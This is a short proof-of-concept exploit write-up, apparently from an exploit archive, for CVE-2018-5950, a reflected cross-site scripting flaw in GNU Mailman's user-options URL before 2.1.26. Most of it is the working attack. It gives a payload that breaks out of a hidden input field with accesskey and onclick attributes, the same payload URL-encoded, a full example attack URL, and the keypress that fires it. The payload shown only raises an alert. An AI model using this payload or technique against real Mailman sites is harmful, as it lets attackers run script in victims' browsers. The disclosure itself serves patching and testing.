#Title: Mailman 1.x >2.1.23- Cross Site Scripting(XSS)#Type: Reflected XSS#Software: Mailman#Version:>=1.x <=2.1.23#Vendor Homepage: https://www.list.org#Original link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-5950#POC Author: Valerio Alessandroni #Date:28/10/2020#Description: Cross-site scripting(XSS) vulnerability in the web UI in Mailman before 2.1.26 allows remote attackers to inject arbitrary web script or HTML via a user-options URL.
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#https://127.0.0.1/cgi-bin/mailman/options/[LIST]/[EMAIL][XSS]#Which [LIST] is a valid list,[EMAIL] is a valid email and [XSS] is the payload
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#For this POC I used the following payload#CVE:CVE-2018-5950"accesskey%3d"x"onclick%3d"alert`XSS`"
#Due the payload is loaded inside an HIDDEN INPUT TYPE, until today the only way to trigger the malicious code is via the accesskey attribute.#An URL Encoded version of the payload is %22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22#URL Example:
https://127.0.0.1/cgi-bin/mailman/options/list_name/test@test.com%22%61%63%63%65%73%73%6b%65%79%3d%22%78%22%6f%6e%63%6c%69%63%6b%3d%22%61%6c%65%72%74%60%58%53%53%60%22#In order to trigger the alert, the victim has to press the following buttons ALT+SHIFT+X#whereX is an arbitrary button inserted as accesskey attribute in the payload.
